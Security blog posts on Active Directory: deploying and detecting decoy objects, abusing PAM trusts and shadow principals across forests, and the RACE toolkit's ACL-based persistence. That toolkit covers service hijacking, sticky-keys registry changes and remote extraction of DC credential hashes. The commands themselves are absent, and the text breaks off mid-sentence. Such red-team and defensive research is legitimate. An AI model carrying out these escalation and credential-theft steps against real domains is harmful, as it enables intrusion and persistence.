Deception has always been of interest to me. As a student of military history, I have always been fascinated by its implementation in warfare and looked at deception as something which is effective and generally low cost!
Couple of years back, I got involved in development and extensive testing (from red team perspective) of couple of enterprise deception solutions over a period of many months. In early 2018, during one of my Active Directory classes, a student  asked and ultimately hired me (thank you!) for testing three Deception products they were evaluating. 

With these experiences I realized that most of the focus for deception in Active Directory (AD) has been on honeyuser/honeytokens/honeycredentials. Tools like dcept and others are popular for this technique. There is a dearth of free and open source deception solutions for AD if we want to utilize deception to detect an adversary during the domain enumeration phase of an attack. That is something which we are going to address soon.

Also, to increase interest and community involvement, I gave a talk on 'Forging Trusts for Deception in Active Directory' at BruCON couple of weeks back (October 2018). Slides and video are at the end of this post.

What is Deception?


Deception is a psychology game. Red teams and adversaries have been using it for so long against unsuspecting users to trick them in opening malicious attachments or clicking on links. Once inside an AD environment, an adversary tries to use credentials of other users and pivot through other machines to mix with the existing logs and traffic.

Blue teams utilize deception by providing service, privileges or information can adversary is looking for. IMHO, blue teams, have an upper hand when it comes to deception, both in terms of psychology and technical controls.

The attacker psychology 

There is a psychological condition called Illusive Superiority which applies to most of the adversaries and red teams. They think of themselves as smarter and much more talented than the blue teams. Along with this, the tendency to go for the "lowest hanging fruit" and an urge for getting DA privileges quickly, makes them a fruitful target for deception :)

So, the idea is, defenders show the adversaries what they want to see. For example, a user whose password never expires or a Server 2003 computer.

Desired properties of a decoy

Taken directly from my slides, desired properties of a decoy:
  1. Should be desirable enough so that an attacker enumerates the object.
  2. Should be easily configurable.
  3. No configuration changes required on endpoints.
  4. Should not be triggered for normal admin activity.
Number 4 above is the hardest to achieve. If we are targeting enumeration, we must make the attacker activity or tools stand-out to avoid false positives.

Deploying Deception

So, how can we achieve above desired properties with just the built-in tools in AD? We can use Group Policy to set AD Access logging, configure 'interesting' objects and filter out false positives!

The Group Policy setting required for AD Access is Windows Settings | Security Settings | Advanced Audit Policy Configuration | DS Access - Audit Directory Service Access
AD Access Group Policy
Above setting results in a Security Event 4662 whenever an AD object is accessed. The logging needs to configured at the object level. For that configuration, we need to modify the SACL of the object and add relevant ACEs.

Let's have a look at the AddAuditAccessObjectAce function to understand ACE:

So, as an example, we can set auditing whenever 'everyone' uses 'ReadProperty''success'-fully against a user. This helps in detecting any enumeration against that user.

Introducing Deploy-Deception

These settings can be done using GUI. But thanks to PowerShell and the ActiveDirectory module, it can be automated.

To automate the setting up of decoy object with interesting attributes and lesser known properties to avoid false positives , I wrote Deploy-Deception. It is a PowerShell module which utilizes the ActiveDirectory module to deploy decoys easily and efficiently. You can find Deploy-Deception on Github here: https://github.com/samratashok/Deploy-Deception


Let's have a look at setting up of different types of object decoys during different phases of an attack.

Enumeration - Decoy User Objects

User objects are the most interesting objects  Some user properties are of interest for an attacker:
  • Password does not expire
  • Trusted for Delegation
  • Users with SPN
  • Password in description
  • Users who are members of high privilege groups
  • Users with ACL rights over other users, groups or containers
We can use Deplou-UserDeception function to create a decoy user.
Let's create a decoy user 'usermanager' whose password never expires and a 4662 is logged whenever everyone reads any of its properties:

Please note that an actual user objects is created in the domain. Now, the above gets triggered very frequently as we have enabled the default logging for whenever anyone reads any property of the user usermanager. It means a 4662 will be logged even if someone simply lists all the users in the domain. This means, that this decoy will trigger logging for all the possible usage (normal or otherwise) like

net user /domain

Get-WmiObject -Class Win32_UserAccount

Get-ADUser -Filter * (MS ActiveDirectory module)

Get-NetUser (PowerView)

Find Users, Contacts and Groups GUI

That does not look good, right? So we need to find ways to differentiate attacker enumeration from normal activity. There is something very interesting with attacker enumeration tools, they like to extract as much information for an object as possible (which makes sense as you would not like to connect repeatedly to a domain controller). Now, this means that if we turn on auditing for an uncommon attribute, there is a large possibility (yes, possibility - share your false positives with me please :P) that only aggressive enumeration triggers the logging. There are many such attributes, have a look at the List of All Attributes. I liked once such attribute - x500uniqueIdentifier (GUID d07da11f-8a3d-42b6-b0aa-76c962be719a)

So, we now remove the ACE we added previously and add a new one which triggers logging only when x500uniqueIdentifier property is read:
This auditing is triggered only by tools like PowerView (or other tools like ADExplorer) which fetches all the attributes of an object. While not perfect, this is a huge improvement.

If you have enough confidence that none of your monitoring or management tools read all the properties of a user object, auditing for properties like SPN can also be set which triggers logging only when SPN (or all attributes) is read.
Still too many logs? The below command logs a 4662 log only when DACL (or all attributes) of the decoy user object is read:

Enumeration - Decoy Computer Objects

We can also set decoy computer objects. It is possible to create computer objects in domain without having an actual computer mapped to that object. Although, it is always advised to use actual computers or VM for decoy computer objects to avoid identification of decoys.

Some computer object properties which are of interest to an adversary:
  • Older Operating Systems
  • Interesting SPN
  • Delegation Settings
  • Membership of privileged groups
Let's have a look at some deployment using Deploy-Deception, we can use Deploy-DecoyComputer function. :
Above command creates a decoy computer that has Unconstrained Delegation enabled and a 4662 is logged whenever x500uniqueIdentifier or all the attributes of the computer are read.
Above command uses an existing computer object and sets Unconstrained Delegation. Logging is triggered whenever DACL or all the attributes of the computer are read.

We can also use DCShadow to modify a computer object which appears to be a DC. I briefly touched on this here. More on this particular topic some other day.

Enumeration - Decoy Group Objects

We can also deploy decoy Group objects. What properties of a group are interesting to an adversary?
  • Interesting name (containing words like admins, administrators etc.)
  • Members of the group are also member of high privileged groups or have 'interesting' user attributes. 
  • Membership of a high privilege group.

Groups provide interesting opportunities. We can make decoy users member of a decoy group thus creating 'layered' decoys. This way we get logs both when membership of the decoy group is listed and when attributes of the decoy user are listed. We will see soon how to use Logon restrictions to avoid mis-use of privileges of a user.

So in the below command, we create a decoy user 'dnsmanager' whose password never expires with logging when an obscure property is read, create a group with name 'Forest Admins', make dnsmanager part of the forest admins group and add the forest admins group to the built-in dnsadmins group. Logging is triggered when membership of the group is read. We can use Deploy-GroupDeception for this:

Enumeration and Lateral Movement - Privileged Decoy User Objects

We can also deploy high privilege user decoys to target both enumeration and lateral movement. We can create decoy users which have high privileges like membership of domain admins, rights to execute DCSync etc.

Now, the risk with having decoy users with such high privileges is if such a user gets compromised, its privileges can be abused. To avoid that,  we can use couple of protections:
  • Set the Logon Workstation to a non-existent machine
  • Deny logon to the user.
In both the above cases, AFAIK, user privileges cannot be used as the decoy user cannot logon to any box with any type of credential like password, hash etc.

Armed with this knowledge, let's create high privilege user decoys using Deploy-PrivilegedUserDeception :
The above command creates a user called 'decda' who is a part of the Domain Admins but cannot logon to any machine. Any attempt to list DACL of the user or list all attributes results in a 4662 log.

For the lateral movement part, we have used the DenyLogon protection. That means even if the user's password or hash or keys are compromised, it will not be possible to reuse those credentials. To get meaningful logs when credentials of such a user are used, we must enable the following Group Policy:
Configuration|Windows Settings|Security Settings|Advanced Audit Policy Configuration|Audit Policies|Account Logon | Audit Kerberos Authentication Service | Failure
This is how the failure looks like in GUI.
And a 4768 (Failure) is logged on the Domain Controller. In case of attacks like OverPass-The-Hash no such verbose error is returned.

Another option is to set LogonWorkstation to a nonexistent machine. It always makes sense to use a name similar for the workstation that is similar to your actual machines.
Above command creates a decoy user call 'decda', provides it with DCSync permissions and sets the LogonWorkStation to a non-existent machine. If the users credentials are compromised and re-used the error would exactly be the same as in case of DenyLogon and a 4768 is logged.

Both the protections can be used with a non-DA account as well. IMHO, this is better than leaving wrong passwords or hashes in memory (which is a well known technique).

This technique can always be coupled with others. For example,when targeting lateral movement, one of the easier ways to let an adversary 'retrieve' credentials for a decoy user is to use the -PasswordInDescription option of Deploy-UserDeception. Then, we can make that user a privileged user and use one of the protections discussed above:
The first command above creates a newuser called 'newda', sets the string 'The new password is Pass@123' as its description. The second command makes newda a member of the domain admins group, denies logon to the user and configures auditing whenever DACL or all attributes of newda are read.

No special tools are required to get the password from description! Remember targeting 'go for the lowest hanging fruit' ;)

While discussing users with privileges, there is another important aspect that must be discussed. It is about ACLs. A user which have interesting permissions over another user is always of interest to an attacker. (Side note: Make sure that you ACL auditing is a part of your security methodology - both for domain objects and othersecurables).

We can use Deploy-SlaveDeception to deploy decoy users where one of the users have FullControl/GenericAll rights over other user. This is interesting for an attacker and can be used to target both enumeration and lateral movement phase.

To target enumeration, following can be used:
The first and second command above, create users masteruser and slaveuser respectively and set auditing only when an obscure attribute is read. The third command provides masteruser GenericAll rights over slaveuser. Any adversary enumerating or scanning interesting ACLs in your domain will trigger 4662 for both the objects.


To target lateral movement, we can use PasswordInDescription option for masteruser or leave its credentials using other popular methods without any protection. We are ready to risk masteruser to be compromised and used (Please carefully consider risks before doing that). If masteruser modifies DACL of slaveuser we get a 4662 log in addition to any other alerts that are triggered whenever a honeytoken/honeyuser is used:
In the above command, a 4662 is logged only when masteruser changes DACL of slaveuser.

Enumeration - Domain and Forest Trust objects

Yet to be automated! There are many interesting possibilities though! For example, we can have a decoy forest trust (let's call it blue forest :P) where we can allow enumeration of users, computers and groups but deny access to any other resource. This can be achieved by setting up a forest trust with Selective Authentication where "Allowed to Authenticate" is set only on the DC but no other machine. This will allow an adversary to enumerate objects but they cannot access resources on other computers.

Red Team Revenge - Identifying Deception

So how do red teams identify which objects are actual and which are traps or decoys? As I mentioned in the beginning of the post, I have tested multiple Deception solutions over past months. There are multiple Enterprise solutions that use objects which can be identified by looking at their attributes. Some of such attributes:

  • objectSID - This object must always have DomainSID-RID format. Some enterprise solutions mess that up. If you find an object whose SID does not contain the domain SID. Make sure you investigate that object carefully.
  • lastLogon, lastlogontimestamp - User decoys can be identified by looking at these attributes. If there is a user that too high privileged one who has never logged on (lastLogon set to 31/12/1600 which is before the 'zero' date for LargeInteger datetime), there are good chances that it is a decoy. 
  • logonCount - Although not as good as lastLogon, logonCount is also a good indicator.
  • whenCreated - Coupled with lastLogon and logonCount, this becomes a good indicator. A user which is old but has never logged-on could be a decoy. You may like to notice that it may also be a dormant user, to be sure have a look at other attributes.
  • badPwdCount,badPasswordTime - Ever seen a human user who will not fat-finger their password? A user with 0 Badpwdcount (and other bad password attributes) is a good indicator of a decoy. 
  • Too many attributes - Some enterprise solutions fill up ALL or way too many possible attributes for an object. This can also be easily spotted. 
The best way is to match an object with a well known 'good' object. For example, if you suspect that a computer object in a list of all computers in the domain is a decoy compare it with the properties of the domain controller or attributes of your own foothold machine. The actual dc is always listed in the logonserver environment variable. For user object, the built-in DA always has RID 500. Compare its attributes with a user object you suspect of being decoy.

For multiple solutions which relied on not creating actual objects in the domain, using WMI to retrieve domain information shows correct objects and not the fake ones.

Red Team Revenge - Avoiding Deception

(Taken directly from my slides) Red Teams need to change their approach and their psychology of illusive superiority to avoid deception:
  • Please stop going for the lowest hanging fruit. Enterprise networks are mess but if something looks to good to be true, investigate carefully!
  • Avoid automated enumeration tools unless you absolutely know what they are doing in the background.
  • I have been urging this in my talks (on ATA) and trainings - Avoid the urge to go for the DA privileges so that you can brag about it in the reports! Focus on goals of your operation.

Blue Teams - Avoiding identification

If actual domain objects are used chances of identification are decreased. For example, a computer object which is not mapped to an actual computer has much higher chances of getting identified.

For user decoys, as discussed earlier, having at least one logon session decreases the chances of identification. Let's test this one out.

Let's have a look at a simple example. There is a well known deception identification script called HoneypotBuster. Let's create a decoy DA and run the script:

Our decoy DA was detected. Deploy-PrivilegedUserDeception has an option 'CreateLogon'. This parameter starts and stops calculator on the DC with the decoy DA user which populates the logon related properties of the user. To use this parameter, the LogonWorkstation protection must be set to the DC where the module is being executed. You can always change the behavior of the user later.
The above command creates decda, makes it a member of the Domain Admins group, restricts logon to the DC and creates a logon session (which also creates a profile on the DC). Now, if we run Honeypot Buster
Sweet, the FakeRank or confidence of the tool is down to 50. Honeypot buster uses a ranking system for objects and if a user has a logonCount less than 6 there would always be some confidence of it being fake. If we make the logonCount to 6 for decda by starting a process with its credentials 6 times, it would not show up in this tool.
Now if we run HoneypotBuster, decda is not detected! But that would be targeting this specific tool so let's not read much into this 'bypass'. 

Future Work and Community Involvement

It would be great if you deploy the decoys in your domain environments and share the results with me. That way, even if you cannot contribute to the code, you will immensely help the project.

OU objects are just around the corner and should not take much long to be included in the tool. I am also working on automating domain and forest trust decoys.I also have super ambitious plans of using virtualization to deploy decoys forests and computers in real time!

That is all! Thank you very much for reading this rather long post. You can find slides and video of my talk at BruCON below!







Using ActiveDirectory module for Domain Enumeration from PowerShell Constrained Language Mode

$
0
0
This is a quick post to make notes of something which I have been using and teaching for sometime.

We can use Micorosft's PowerShell ActiveDirectory module without RSAT and administrative privileges. I came to know about this from this blog post.

So, if you have access to a Server which has the module installed (like a DC), copy the Microsoft.ActiveDirectory.Management.dll from C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.ActiveDirectory.Management to your own machine and then use the Import-Module cmdlet to import the DLL:
Please note that if you run Get-Command -Module ActiveDirectory, it would not return anything. To get that, copy the module directory as well from the server from following location: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\ActiveDirectory\. Then, use Import-Module, first the DLL and then the module:
There are many benefits like very low chances of detection by AV, very wide coverage by cmdlets (I leave the usage of cmdlets for a later post :P), good filters for cmdlets etc.

I have uploaded a copy of module from Server 2016 on Github: https://github.com/samratashok/ADModule

The biggest benefit is that this module works flawlessly in PowerShell Constrained Language Mode (CLM) :)
That is all!

How NOT to use the PAM trust - Leveraging Shadow Principals for Cross Forest Attacks

$
0
0
I did a super interesting AD security assessment for a client recently. They are re-deploying their infrastructure and upgrading their forest(s) to Server 2016 Functional Level. There are so many interesting things which we did during the assessment but the most interesting for me was their attempt to establish Privileged Access Management (PAM) trust in an "interesting" way. It is a classic example of deploying something which sounds secure without actually understanding what it does. 

Microsoft introduced Privileged Access Management (PAM) with Server 2016. Among other things, it has very interesting features like -
- A bastion forest (Think the administrative forest in ESAE or the famous Red Forest)
- Shadow security principals
- Temporary group membership (Add a user to a group with time-to-live (TTL))

So what is PAM? 


PAM has been discussed in much detail here by Russel and here by Willem. Please read them for understanding what PAM has to offer. A quick explanation is below:

In a perfect world, PAM enables managing an existing priduction/user forest using a bastion forest which has a one-way PAM trust with the existing forest. The users in the bastion forest can be 'mapped' to privileges groups like Domain Admins and Enterprise Admins in the user forest without modifying any group memberships or ACLs. This is done by creating Shadow security principals in the bastion forest, which are mapped to SIDs for high privilege groups in the user forest and then add users from the admin forest as members of the shadow security principals.

Example


Let's have a look at an example. We have powershell.local as our user forest and bastion.local as the bastion or admin forest. What we want to do it to be able to manage powershell.local from bastion.local without modifying any group membership or ACLs on powershell.local.

A one way PAM trust can be established between the two forest using the commands below (taken from Petri article linked above) :
On user forest (powershell.local in our example) -
On bastion forest -
Shadow Principals reside in a special container 'CN=Shadow Principal Configuration' in the Configuration container on bastion forest. We can create Shadow security principals on bastion.local using the below PowerShell code:
In the above command we are mapping the SID of Enterprise Admins group of the user forest powershell.local to a Shadow security principal "psforest-ShadowEnterpriseAdmin". Please note that we can also map the shadow principal to a user in the user forest.

Finally, we need to make users from bsation.local member of the Shadow security principals:
Shadow Principals reside in a special container 'CN=Shadow Principal Configuration,CN=Services' under the Configuration container on bastion forest. We can create Shadow security principals on bastion.local using the below PowerShell code:

Now, it is possible to manage powershell.local forest from bastion.local without making any changes in the group memberships or ACLs on powershell.local.

This looks great! This takes away administrative overhead of managing groups and ACLs and reduces chances of lateral movement techniques like OverPTH, PTT and other credential relay techniques.

Now, there is something worth noticing about the above setup. To be able to use the shadow security principals, we had to allow SIDHistory in the PAM trust which means no SID Filtering. We will see in the next section how this can be dangerous if not configured properly.

The Misconfiguration

 

Let's get back to the scenario I saw during the assessment. The client enabled PAM and they were using a forest in production (not a separate bastion or admin forest) to manage other forest(s). The forest used to manage other forests was located at their headquarters and their forests for their sites across the country were managed using it. An applause for them to have separate forests for different locations :)

They were sold on the part that using PAM will protect the credential based attacks - no logon using credentials from the bastion forest to any other forest.

But, a PAM trust where you do not have an isolated bastion forest is disastrous. Why? Because in such a case if we compromise the bastion forest we get high privileges (Enterprise Admins or Domain Admins) in the other forest. And:
- There is no group membership (unlike Foreign Security Principals)
- No ACLs modification
- AFAIK, no other modification to look for in the forest which gets compromised!

Let's have a look at an example. Following is the setup in my lab (diagram built using draw.io):
defensiveps.local is the bastion forest and powershell.local is the user/production forest.

Abusing the PAM trust


Here is how to identify and approach abusing a PAM trust:

Enumeration

First, let's enumerate if our current forest has any PAM trust with any other forest, that is, if our current forest can access any other forest without worrying about SID Filtering.

Using the ADModule, we can simply run Get-ADTrust and look for a trust which has ForestTransitive set to True and SIDFilteringQuarantined set to False - this means that SID Filtering is disabled.

Powerview (dev branch), calculates the TrustAttributes for you but does not tell you if SID Filtering is enabled when used from the user/production forest.

On the other hand, if you want to enumerate if your current forest is managed by a bastion forest (Blue Teams take note), look for ForestTransitive set to True and SIDFilteringForestAware set to True. In this case, TrustAttributes is also a very good indicator. It is 0x00000400 (1024 in decimal) for PAM/PIM trust. Simplifying it, it is 1096 for PAM + External Trust + Forest Transitive.
In this case (when rum from the bastion forest), PowerView (dev) tells if PIM Trust is enabled.

Next, let's enumerate the shadow security principals, its members from the current (bastion) forest and privileges in the user/production forest. We can use the following command from the ActiveDirectory module:
 
As clear in the above screenshot, we can look for Shadow securtiy principals in the special container 'CN=Shadow Principal Configuration,CN=Services' under the Configuration container on bastion forest. Following properties are the most interesting ones:

- Name - Name of the shadow principal

- member - Members from the bastion forest which are mapped to the shadow principal. In our example, it is the Domain Administrator of defensiveps.local.

- msDS-ShadowPrincipalSid - The SID of the principal (user or group) in the user/prodcution forest whose privileges are assgined to the shadow security principal. In our example, it is the Enterpise Admins group in the user forest.

Using the shadow principals

Now, if we compromise the user listed in "member" above we can use the shadow principals. In our example, we need to compromise the Administrator user fo defensiveps.local forest and then we will have enterpirse admins privileges on powershell.local forest!
This is very interesting! We crossed the forest security boundary with ease :) Remember that we need not have group membership or ACL on the user forest.

With the privileges achieved using shadow principals above, we can access the user forest using RDP (explicit credentials of the bastion user required), WMI, PowerShell Remoting etc. Please note that if Kerberos AES Encryption is not enabled for the PAM trust, we need to add the machines of existing forest in WSMan TrustedHosts and use '-Authentication Negotiate' option with PowerShell remoting cmdlets.


Persistence

We can also use this for persistence. Please note that the persistence will be for the privileges on the user/prodcution forest and not the bastion forest itself. 

Once we have compromised the bastion forest, there are multiple ways we can use:

1. We can add a user to an existing shadow security principal container.

Please note that in this case, if someone looks at the details of the 'lowprivuser', he/she would appear to be a part of the psforest-ShadowEnterpriseAdmin 'group'.

2. Better, we can modify the ACL of the shadow principal object. We can provide a user we control, Full Permission overt shadow principal object but the fun is always with minimal permissions. So, with only Read Members and Write Members permissions on the shadow principal object, we can add and remove princiapls at will from the shadow principals. Take a look at the below screenshot:

Now, we can add or remove users at will with the privileges of 'reportdbadmin' user. On top of that, by-default there are no logs for any changes to the ACL or 'membership' of a shadow principal :)

Is PAM trust bad? Should I stop using a bastion forest?  Why is Microsoft so evil? What is the meaning of life?


PAM trust is not bad, IF used wisely! You can use a bastion forest with PAM trust but please be careful. Learn from the setup we discussed just now. Do not use a regular forest (with users doing non-admin activities) as bastion forest. As Willem pointed out in his article, when you use the PAM trust you extended the security boundary of the user forest to include the bastion forest. Treat the bastion forest as a special case and you will be fine.

Detection

On the bastion host, as we already discussed, there are no logs by-default for modification of membership or ACL of shadow principals.

On the existing/production forest, the detection seems pretty easy. There will always be the Speical Logon (4672), Logon (4624) and Logoff (4634) events when anyone uses principal from the bastion forest to access the existing forest. But the problem here is to detect an anomaly as the same logs will be there for actual operations as well. Unless, an adversary is using a new user or doing something very noisy, it may be difficult to detect her with only these entries.

I hope this post enocurages everyone to have another look at their forest trusts. As always, please leave feedback :)

RACE - Minimal Rights and ACE for Active Directory Dominance

$
0
0
I recently spoke at DEF CON 27 on abusing Security Descriptors and ACLs i.e. permissions on Windows machines. 

You can find the slides here (also at the end of the post with minor updates). The demo videos which I used for my talk can be found here on and are also used below. 

The RACE toolkit is available on my GitHub repository.

This blog post covers whatever I could not do in my talk. There is only so much you can cover in 45 minutes. On top of that, there was some confusion and my talk was cut short by 10 minutes -.-

tldr; It is possible to execute interesting persistence and on-demand privilege escalation attacks against Windows machines by only modifying ACLs of various objects. We will need administrator privileges initially.

So, let's begin.

We are going to use 'labuser' as the attacker controlled user and 'ops' is the target domain.

About Windows Access Control Model:

Microsoft's documentation on Access Control Model explains it really well. But below is a quick summary:

Every authenticated user gets an access token. Each process or thread created by that user has a copy of that access token. The token contains identity (SIDs) and privileges of the user. 

Now, when a process tries to access a securable object (Files, Registry Keys, Services, Domain Objects etc.) it uses the access token. A securable object, by definition, has a security descriptor. A security descriptor can contain Access Control List (ACL) which is a list of Access Control Entries (ACE). There are two types of ACLs  Discretionary Access Control List (DACL) and SACL (System Access Control List). 

DACL controls access to an object and SACL controls logging of access attempts. 

So, when a process or thread tries to access a securable object, the system checks the permissions for the access token (and therefore the user) against each ACE in DACL. The process gets access in case of an explicit allow or if there is no DACL. All other cases result in an access denied. 

An ACE contains access control information. The relevant information to this discussion is access mask. The access mask in an ACE contains access rights. This governs what a user can do on an object. For example, a user may have permissions to stop a process whereas another may have the access rights to configure a process. This is what defines access in Windows. 

Minimal Permissions

Once we have understood the concept, let's think what makes a Domain Admin so powerful? 

A Domain Admin is so powerful because it has permissions to modify almost all objects on machines in a domain.

Do we need Domain Admin privileges for all the interesting things? Not really! We can use just enough rights to perform a particular task. That is, in place of having FullControl or GenericAll over an object we can use Minimal Permissions required to perform a task. 

For example, what allows a user to connect to a remote machine using PowreShell Remoting? By default, administrator rights are required. If we have a look at the ACL of the PowerShell Remoting Endpoint we understand that the Administrators group has FullControl over it:
Do we actually need 'FullControl' to access the target machine using PowerShell Remoting? No! We can connect to the target machine by adding an ACE for a user which we control and provide it Read, Write and Execute permissions. This will allow the user to access the target machine using PSRemoting without admin privileges. Please note that the user's privileges on the target machine will not be elevated!

This is what we are going to focus on. Some interesting backdoor/persistence techniques, some on-demand privilege escalation methods by modifying ACLs of various securable objects.

Introducing the RACE toolkit

To make it easy to execute ACL related attacks, I have written the RACE toolkit. RACE is dervied from Minimal Rights and ACE. You can find it on my GitHub : https://github.com/samratashok/RACE

RACE is a PowerShell module for executing ACL attacks against Windows targets.

RACE uses the ActiveDirectory module for some of the attacks (Set-ADACL and Set-DCPermissions functions). You can get it from a machine where AD DS RSAT is available or from here: https://github.com/samratashok/ADModule

Persistence - PowerShell Remoting

As we saw above, it is possible to access a target machine as a non-admin user using PSRemoting by modifying the ACL of the PSRemoting endpoint. 

Using the below commands from RACE, we can modify the ACL of the default PSRemoting endpoint. Let's run it on the DC with DA privileges (please ignore 'I/O operation has been aborted'):
 
Now, we will be able to access the target machine 'ops-dc' as labuser using PowerShell Remoting. Please note that the privileges will still be of labuser.
Here is a video of the above attack:



There are no logs for the ACL modification of PowerShell endpoints. Although, when accessing the target machine there will be Events 4624 (Logon) and 4634 (Logoff).

How is this access useful? We can chain this with other modified permissions. We will come back to that later.

Persistence - WMI

Similarly, we can modify ACLs to access a machine using WMI without admin privileges. In case of WMI, we need to modify ACLs for DCOM endpoint and also for namespaces. For namespaces, we can do it for all of them or only a specific one. The below command does it for all the namespaces:
 Now, we can simply run commands as 'labuser' on the target machine:
WMI Permanent Event Consumers - In my testing, with modified permissions to the root\subscription namespace it was possible to create permanent event consumers but the payload never executed. This is something which someone else can explore. 

Like PSRemoting,  there are no logs for ACL modification but logs 4624 and 4634 will be there when we use WMI to access the target machine.


On-demand Privilege Escalation - Windows Services

Windows services are very useful for persistence AND getting admin privileges back.

Here is how we can abuse admin privileges with windows services:

- Initially with admin privileges, we can create new services or modify existing services to run as SYSTEM. 
- We also modify ACLs of such services to allow permissions to config and restart for a user we control.
- As the user we control, reconfigure the target service on the target machine to change its executable path to our payload. 
- Restart the service to execute the payload. 

Creating new service:
Use the below command to provide labuser GenericAll rights over scmanager (needs admin rights):
SCManager is a special service which provides the ability to create new services on a machine. After the above command, labuser can create services on the target machine:
The above command sets the service start type to auto and the account to LocalSystem. The binpath or executable of the service is set to the specified payload. By default, the payload is to add the user specified by UserName parameter to the local administrators group.

After the above command, we can either wait for the service restart or a system reboot:

If you don't want to wait, run the below command (suggested by the tool) with admin privileges on the target machine to get restart permissions for the created service for our user:

Now, when we restart the 'evilsvc' service, 'labuser' is added to the local administrators group on the target machine.
 

Modifying existing service:

With admin equivalent permissions (CCDCLCSWRPWPDTLOCRSDRCWDWO) on any service, we can abuse it to escalate privileges. Please refer to the documentation for a full list of the rights.

The below command modifies the ACL of ALG service on the target machine to provide 'labuser' enough rights to configure and restart the service:
Next, run the below command as labuser:

Now, when we restart the ALG service, labuser is added to the local administrators group on the target machine.

Below is a video of the attack:



I prefer using an existing service in place of creating a new one.

Please note both the methods are verbose in the logs. Service creation, service configuration changes and service stop/start is logged. Therefore, this method is not recommended on DCs or when you want to be stealthy. 

On-demand Privilege Escalation - Registry Autoruns

Windows registry is a very attractive target for persistence with on-demand privilege escalation. As a very simple example, let's have a look at Image File Execution Options which is a popularmethod of running a payload as SYSTEM using 'sticky keys'. 

The idea is to modify the ACL of the Registry key responsible for Remote Registry (HKLM:\ SYSTEM\CurrentControlSet\Control\SecurePipeServers\winreg) and for sethc.exe (HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe) to be able to change registry remotely without needing admin privileges. To be able to trigger this remotely on a RDP logon session, NLA needs to be disabled by modifying (HKLM:\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp).

Run the below commands with admin privileges on the target machine to setup the registry key permissions:

Then run the below command as labuser to set payload for sethc and to disable NLA:
Now, try to connect to the target machine using RDP and press the Shift key five times to get a command prompt with SYSTEM privileges!

The particular method we used is not very silent (even some AVs flag modification of Image File Execution Options registry key) and actually downgrades the security of the target machine. So please use this carefully in an actual operation. 

Implementing some better registry key based command execution is something which is in future goals of the RACE tool.

Persistence - DCOM

We can modify the ACL of the DCOM endpoint (recall that we already did that while abusing WMI) for persistence. Like WMI, we will have command execution with the privileges of only the current user. But as we will see soon, something like that is very helpful when chained with other ACL modifications. 

Run the below command with admin rights on the target machine to modify ACL of DCOM endpoint:
Now, run the below command as labuser to execute commands using DCOM on the target machine. By default, the method used for execution is MMC20.Application class.

On demand Privilege Escalation - Just Enough Administration (JEA)

JEA is a PowerShell v5 feature which provides control over administrative tasks by providing PowerShell Remoting endpoint with:
- Virtual accounts - temporary local accounts which are local admin on member machines and DA on DCs but no rights to manage resources on network. 
- Ability to limit the cmdlets and commands which a user can run through Role Capabilities. 

JEA is designed to 'allow non-admins to do some admin tasks' with 'least privileges'. This is precisely what we have been doing so far. 

So, JEA provides admin rights to anyone who is explicitly allowed to connect to the endpoint. But the control on those administrative rights is because of the commands and cmdlets they can execute as a JEA session starts in NoLanguage mode. Only explicitly allowed commands and cmdlets are allowed. It is possible to only allow a single command with only one parameter or argument allowed!

JEA endpoints also have transcripts enabled so that all the commands and their outputs are written to a flat text file. In addition to that, Event logs for 'WinRM Virtual Users\WinRM_VA_AccountNumber_domain_username' will be logged. PowerShell script block logging may also log any suspicious logs. 

With all these checks, how can we abuse JEA? Look at the JEA Security Considerations for some evil ideas ;) 

With admin privileges on the target machine, we can Register a new JEA endpoint, allow all the cmdlets and commands and allow a user we control to connect to it. We can set the transcript log path to user's temp directory and clear the transcripts when we connect to the machine. 

Let's use this against a DC. Run the below command with DA privileges to create a JEA Endpoint 'microsoft.powershell64' which allows access to labuser:
 Now, as labuser we can access the DC and get DA privileges for local context:
Neat, isn't it!

Below is a video of the attack:



Please note that there are no logs for new session registration. But, there are Events 4624, 4634 and 4717 when we access the target machine. Alos, keep in mind the PowerShell logs.

The best way to avoid against JEA abuse really is to audit the registered session configurations and role capabilities. A good guidance on audit and report on JEA is here.

Persistence - Registry

Windows registry stores many interesting credentials - Machine account, Local users and Cached domain credentials. By modifying the ACL for the registry keys where we store these credentials, it is possible to access these credentials without needing admin privileges later on. We need to modify permissions of the following registry keys:
- HKLM:\ SYSTEM\CurrentControlSet\Control\Lsa\
- HKLM:\Security\
- HKLM:\SAM\

Once we have modified the ACLs of these keys, we can then modify ACL of Remote registyr, WMI or PowerShell Remoting to access the machine and extract the credentials.

RACE uses code from the DAMP toolkit for this:

Use the below command to modify the permissions of the above registry keys and remote registry. We are targeting a DC so need DA privileges.:
Now, use the below command to extract the machine account hash (uses remote registry):
ICYMI, machine account of DC can run the DCSync attack!

Use the Get-RemoteLocalAccountHash function to ectract local acccount hashes. In case of the DC, this gives the NTLM hash of the DSRM account!


Remeber that we left a question - how modifying ACLs of PSRemoting is useful? This is a very good example. in case you cannot access remote registry (for example, filtered on firewall), you can modify the ACL of PSRemoting and the Registry keys and extract the secrets from the DC without admin privileges:
Sweet!
Below is a video of the attack:


Note that there is no log for change in permission of the registry keys. But as for the other attacks, there will be 4624 and 4634 log entries when accessing the DC.

On demand Privilege Escalation on DC - DNSAdmins

DNSAdmins is an AD security group which has the capability to load arbitrary DLLs from a UNC path in the DNS service. See this post and my post. This group is effectively DA equivalent if DNS service is running on a DC.

The group has Read, Write, Create All Child objects, Delete Child objects, Special Permissions on the DNS Server object. We can either:
- Modify ACL of the DNS Server object to have the same rights as the DNSAdmins group to abuse the DLL configuration feature.

or

- Modify the ACL of the DNSAdmins group because it is not a Protected Group (ACL not protected by AdminSDHolder)

Let's modify the ACL of the DNS Server object to be able to load DLL remotely and also provide service start and stop rights on the DNS service for a user we control. Use the below command:
Now, use the below command as labuser to load mimilib.dll from Mimikatz to load the DLL in DNS Service. Please note that the DNSServer module from DNS RSAT is required for the below command:

On demand Privilege Escalation on DC - DSRM Administrator

DSRM administrator is a special 'local administrator' account on a DC. This is very useful for persistence as it is seldom changed. By default, this user cannot logon from network. But this logon behavior can be changed by modifying the registry key - HKLM:\System\CurrentControlSet\Control\Lsa\DsrmAdminLogonBehavior and set its value to 2.

This means, once we have DA privileges, we can:
